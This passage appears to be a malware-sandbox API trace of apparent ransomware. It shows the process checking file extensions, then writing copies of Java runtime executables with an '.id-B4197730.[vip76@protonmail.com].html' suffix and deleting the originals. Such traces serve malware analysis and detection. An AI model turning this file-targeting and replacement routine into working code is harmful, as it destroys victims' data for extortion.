	[0087.201] lstrlenW (lpString=".docx") returned 5
	[0087.201] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0087.201] lstrlenW (lpString=".pdf") returned 4
	[0087.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.201] lstrlenW (lpString=".xls") returned 4
	[0087.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.201] lstrlenW (lpString=".xlsx") returned 5
	[0087.201] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0087.201] lstrlenW (lpString=".ppt") returned 4
	[0087.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.201] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.201] lstrlenW (lpString=".zip") returned 4
	[0087.201] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.201] lstrlenW (lpString=".rar") returned 4
	[0087.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString=".bz2") returned 4
	[0087.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.202] lstrlenW (lpString=".7z") returned 3
	[0087.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.202] lstrlenW (lpString=".dbf") returned 4
	[0087.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.202] lstrlenW (lpString=".1cd") returned 4
	[0087.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.202] lstrlenW (lpString=".jpg") returned 4
	[0087.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.202] lstrlenW (lpString=".doc") returned 4
	[0087.202] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString=".docx") returned 5
	[0087.202] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0087.202] lstrlenW (lpString=".pdf") returned 4
	[0087.202] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString=".xls") returned 4
	[0087.202] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString=".xlsx") returned 5
	[0087.202] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0087.202] lstrlenW (lpString=".ppt") returned 4
	[0087.202] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.202] lstrlenW (lpString=".zip") returned 4
	[0087.202] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.202] lstrlenW (lpString=".rar") returned 4
	[0087.203] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.203] lstrlenW (lpString=".bz2") returned 4
	[0087.203] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.203] lstrlenW (lpString=".7z") returned 3
	[0087.203] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.203] lstrlenW (lpString=".dbf") returned 4
	[0087.203] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.203] lstrlenW (lpString=".1cd") returned 4
	[0087.203] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll") returned 47
	[0087.203] lstrlenW (lpString=".jpg") returned 4
	[0087.203] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.203] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0087.203] lstrlenW (lpString="kinit.exe") returned 9
	[0087.203] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.204] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=16448) returned 1
	[0087.204] CloseHandle (hObject=0x38c) returned 1
	[0087.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20
	[0087.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.204] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.204] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.204] GetLastError () returned 0x0
	[0087.204] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0087.206] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0087.207] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.208] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0087.208] SetEndOfFile (hFile=0x390) returned 1
	[0087.208] CloseHandle (hObject=0x390) returned 1
	[0087.208] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.208] SetEndOfFile (hFile=0x38c) returned 1
	[0087.209] CloseHandle (hObject=0x38c) returned 1
	[0087.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.209] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1
	[0087.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.209] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.209] lstrlenW (lpString=".doc") returned 4
	[0087.209] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.209] lstrlenW (lpString=".docx") returned 5
	[0087.209] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0087.209] lstrlenW (lpString=".pdf") returned 4
	[0087.209] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.209] lstrlenW (lpString=".xls") returned 4
	[0087.210] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.210] lstrlenW (lpString=".xlsx") returned 5
	[0087.210] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0087.210] lstrlenW (lpString=".ppt") returned 4
	[0087.210] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.210] lstrlenW (lpString=".zip") returned 4
	[0087.210] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.210] lstrlenW (lpString=".rar") returned 4
	[0087.210] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.210] lstrlenW (lpString=".bz2") returned 4
	[0087.210] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.210] lstrlenW (lpString=".7z") returned 3
	[0087.210] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.210] lstrlenW (lpString=".dbf") returned 4
	[0087.210] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.210] lstrlenW (lpString=".1cd") returned 4
	[0087.210] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.210] lstrlenW (lpString=".jpg") returned 4
	[0087.210] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.210] lstrlenW (lpString=".doc") returned 4
	[0087.210] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.210] lstrlenW (lpString=".docx") returned 5
	[0087.210] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0087.210] lstrlenW (lpString=".pdf") returned 4
	[0087.210] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.210] lstrlenW (lpString=".xls") returned 4
	[0087.211] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.211] lstrlenW (lpString=".xlsx") returned 5
	[0087.211] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0087.211] lstrlenW (lpString=".ppt") returned 4
	[0087.211] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.211] lstrlenW (lpString=".zip") returned 4
	[0087.211] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.211] lstrlenW (lpString=".rar") returned 4
	[0087.211] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.211] lstrlenW (lpString=".bz2") returned 4
	[0087.211] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.211] lstrlenW (lpString=".7z") returned 3
	[0087.211] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.211] lstrlenW (lpString=".dbf") returned 4
	[0087.211] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.211] lstrlenW (lpString=".1cd") returned 4
	[0087.211] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0087.211] lstrlenW (lpString=".jpg") returned 4
	[0087.211] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.211] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0087.211] lstrlenW (lpString="klist.exe") returned 9
	[0087.211] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.212] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=16448) returned 1
	[0087.212] CloseHandle (hObject=0x38c) returned 1
	[0087.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20
	[0087.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.212] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.212] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.212] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.212] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.213] GetLastError () returned 0x0
	[0087.213] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0087.215] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0087.216] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.216] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0087.216] SetEndOfFile (hFile=0x390) returned 1
	[0087.216] CloseHandle (hObject=0x390) returned 1
	[0087.216] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.216] SetEndOfFile (hFile=0x38c) returned 1
	[0087.217] CloseHandle (hObject=0x38c) returned 1
	[0087.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.217] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1
	[0087.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.218] lstrlenW (lpString=".doc") returned 4
	[0087.218] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.218] lstrlenW (lpString=".docx") returned 5
	[0087.218] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0087.218] lstrlenW (lpString=".pdf") returned 4
	[0087.218] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.218] lstrlenW (lpString=".xls") returned 4
	[0087.218] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.218] lstrlenW (lpString=".xlsx") returned 5
	[0087.218] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0087.218] lstrlenW (lpString=".ppt") returned 4
	[0087.218] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.218] lstrlenW (lpString=".zip") returned 4
	[0087.218] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.218] lstrlenW (lpString=".rar") returned 4
	[0087.218] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.218] lstrlenW (lpString=".bz2") returned 4
	[0087.218] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.218] lstrlenW (lpString=".7z") returned 3
	[0087.218] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.218] lstrlenW (lpString=".dbf") returned 4
	[0087.218] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.218] lstrlenW (lpString=".1cd") returned 4
	[0087.218] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.218] lstrlenW (lpString=".jpg") returned 4
	[0087.218] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.218] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.219] lstrlenW (lpString=".doc") returned 4
	[0087.219] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.219] lstrlenW (lpString=".docx") returned 5
	[0087.219] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0087.219] lstrlenW (lpString=".pdf") returned 4
	[0087.219] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.219] lstrlenW (lpString=".xls") returned 4
	[0087.219] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.219] lstrlenW (lpString=".xlsx") returned 5
	[0087.219] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0087.219] lstrlenW (lpString=".ppt") returned 4
	[0087.219] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.219] lstrlenW (lpString=".zip") returned 4
	[0087.219] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.219] lstrlenW (lpString=".rar") returned 4
	[0087.219] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.219] lstrlenW (lpString=".bz2") returned 4
	[0087.219] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.219] lstrlenW (lpString=".7z") returned 3
	[0087.219] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.219] lstrlenW (lpString=".dbf") returned 4
	[0087.219] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.219] lstrlenW (lpString=".1cd") returned 4
	[0087.219] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.219] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48
	[0087.219] lstrlenW (lpString=".jpg") returned 4
	[0087.219] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.220] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0087.220] lstrlenW (lpString="ktab.exe") returned 8
	[0087.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.220] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=16448) returned 1
	[0087.220] CloseHandle (hObject=0x38c) returned 1
	[0087.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 0x20
	[0087.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0087.220] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.220] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.220] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0087.221] GetLastError () returned 0x0
	[0087.221] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0087.222] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0087.224] ReadFile (in: hFile=0x38c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.224] WriteFile (in: hFile=0x390, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0087.224] SetEndOfFile (hFile=0x390) returned 1
	[0087.224] CloseHandle (hObject=0x390) returned 1
	[0087.224] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.224] SetEndOfFile (hFile=0x38c) returned 1
	[0087.225] CloseHandle (hObject=0x38c) returned 1
	[0087.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.600] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ktab.exe")) returned 1
	[0087.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.601] lstrlenW (lpString=".doc") returned 4
	[0087.601] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.601] lstrlenW (lpString=".docx") returned 5
	[0087.601] lstrcmpiW (lpString1=".docx", lpString2="b.exe") returned -1
	[0087.601] lstrlenW (lpString=".pdf") returned 4
	[0087.601] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.601] lstrlenW (lpString=".xls") returned 4
	[0087.601] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.601] lstrlenW (lpString=".xlsx") returned 5
	[0087.601] lstrcmpiW (lpString1=".xlsx", lpString2="b.exe") returned -1
	[0087.601] lstrlenW (lpString=".ppt") returned 4
	[0087.601] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.601] lstrlenW (lpString=".zip") returned 4
	[0087.601] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.601] lstrlenW (lpString=".rar") returned 4
	[0087.601] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.601] lstrlenW (lpString=".bz2") returned 4
	[0087.601] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.601] lstrlenW (lpString=".7z") returned 3
	[0087.601] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.601] lstrlenW (lpString=".dbf") returned 4
	[0087.601] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ktab.exe") returned 47
	[0087.601] lstrlenW (lpString=".1cd") returned 4
